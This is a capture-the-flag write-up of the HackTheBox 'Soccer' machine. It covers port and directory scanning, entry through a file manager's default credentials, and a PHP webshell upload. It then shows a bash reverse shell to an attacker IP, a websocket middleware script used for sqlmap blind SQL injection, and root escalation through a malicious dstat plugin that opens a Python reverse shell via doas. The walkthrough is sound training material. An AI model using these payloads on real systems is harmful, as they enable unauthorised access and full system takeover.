Soccer
Enumeration
Rustscan
mkdir rust; sudo rustscan -t 1500 -b 1500 --ulimit 65000 -a 10.129.87.222 -- -sV -sC -oA ./rust/{{ip}}
Open 10.129.87.222:22
Open 10.129.87.222:80
Open 10.129.87.222:9091
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open xmltec-xmlmail? syn-ack ttl 63
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 139
| Date: Sat, 17 Dec 2022 22:14:17 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot GET /</pre>
| </body>
| </html>
| HTTPOptions, RTSPRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Date: Sat, 17 Dec 2022 22:14:18 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
|_ </html>
Feroxbuster
feroxbuster -u http://soccer.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt --no-recursion -k -B -x "txt,html,php,zip,rar,tar.gz" -v -e -o ./ferox.txt
200 GET 2232l 4070w 124485c http://soccer.htb/ground4.jpg
200 GET 809l 5093w 271030c http://soccer.htb/ground1.jpg
200 GET 494l 1440w 56375c http://soccer.htb/ground3.jpg
200 GET 711l 4253w 223740c http://soccer.htb/ground2.jpg
200 GET 147l 526w 6917c http://soccer.htb/index.html
200 GET 147l 526w 6917c http://soccer.htb/
403 GET 7l 10w 162c http://soccer.htb/.html
403 GET 7l 10w 162c http://soccer.htb/.html~
403 GET 7l 10w 162c http://soccer.htb/.html.bak
403 GET 7l 10w 162c http://soccer.htb/.html.bak2
403 GET 7l 10w 162c http://soccer.htb/.html.old
403 GET 7l 10w 162c http://soccer.htb/.html.1
301 GET 7l 12w 178c http://soccer.htb/tiny => http://soccer.htb/tiny/
Webpage
Nothing interesting can be found on http://soccer.htb
Checking http://soccer.htb/tiny/ will reveal a File Manager called tinyfilemanager Github: Tinyfilemanager
Exploitation
Default Credentials
We are able to login to http://soccer.htb/tiny/ by using the default credentials which are found on the Github Page. Since this is a file manager we are able to upload files.
When visiting the folder tiny we see that php is supported :)
Webshell
Go to folder tiny -> uploads and upload a php webshell of your choice.
Reverse Shell
I used wwwolf-php-webshell as php webshell and got a reverse shell using a plain old well known payload
# Shell Handling
pwncat-cs -lp 4000
# Payload
/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.75/4000 0>&1"
Enumeration
While checking the system we doesn't seem to have any interesting privileges nor can we escalate directly to any user.
Once we look into the webserver configuration we identify a new vHost called soc-player.soccer.htb
server {
listen 80;
listen [::]:80;
server_name soc-player.soccer.htb;
root /root/app/views;
location / {
proxy_pass http://localhost:3000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}
soc-player.soccer.htb
First we will register an account on that page. After signing in using our credentials we will be redirected to http://soc-player.soccer.htb/check.
Once we are on the /check page we'll inspect the development console of our browser which will tell us that a websocket is used to check our ticket
Request Headers
GET / HTTP/1.0
Host: soc-player.soccer.htb:9091
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Sec-WebSocket-Version: 13
Origin: http://soc-player.soccer.htb
Sec-WebSocket-Extensions: permessage-deflate
Sec-WebSocket-Key: mcOpNlaKDJoXjG4buopqeQ==
Connection: keep-alive, Upgrade
Cookie: connect.sid=s%3ATtgCI2I1Ktr8efWAZeZYs3QraQ5hJR3V.3%2Fc3oeNjzabA2OGdmy%2BEOUM7I1AjcsrAeTEa0eP%2BRWU
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket
Since there is nothing else that caught my eye I digged around and found out that we probably could try to find a blind sql injection like described on Blind SQLI over Websocket
Blind SQLI
WS MIddleware Script
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://soc-player.soccer.htb:9091/"
def send_ws(payload):
ws = create_connection(ws_server)
# If the server returns a response on connect, use below line
#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
# For our case, format the payload in JSON
message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
data = '{"id":"%s"}' % message
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass
Dumping Passwords
sqlmap -u "http://localhost:8081/?id=66570" --batch -D soccer_db -T accounts --dump
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id | email | password | username |
+------+-------------------+----------------------+----------+
| 1324 | [email protected] | XXXXXXXXXXXXXXXXXXXX | player |
+------+-------------------+----------------------+----------+
Privilege Escalation
Enumeration
We can use the credentials obtained through the database to connect as user player via ssh.
Last but not least we'll run linpeas to check for anything that could be used for further privilege escalation. We don't see anythin interesting on the first look but notice a couple of things on a second look:
/usr/local/share/dstat is writeable to our user! That means we are able to create plugins
/usr/local/bin/doas is installed
Writeable Folders
╔══════════╣ Interesting GROUP writable files (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
Group player:
/usr/local/share/dstat
doas installed
-rwsr-xr-x 1 root root 42K Nov 17 09:09 /usr/local/bin/doas
doas.conf
permit nopass player as root cmd /usr/bin/dstat
Become Root
We will create a new dstat plugin in /usr/local/share/dstat that will execute python code.
dstat_os.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.75",4001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
Load Custom Plugin
doas -u root /usr/bin/dstat --os
We are now root :)
Last updated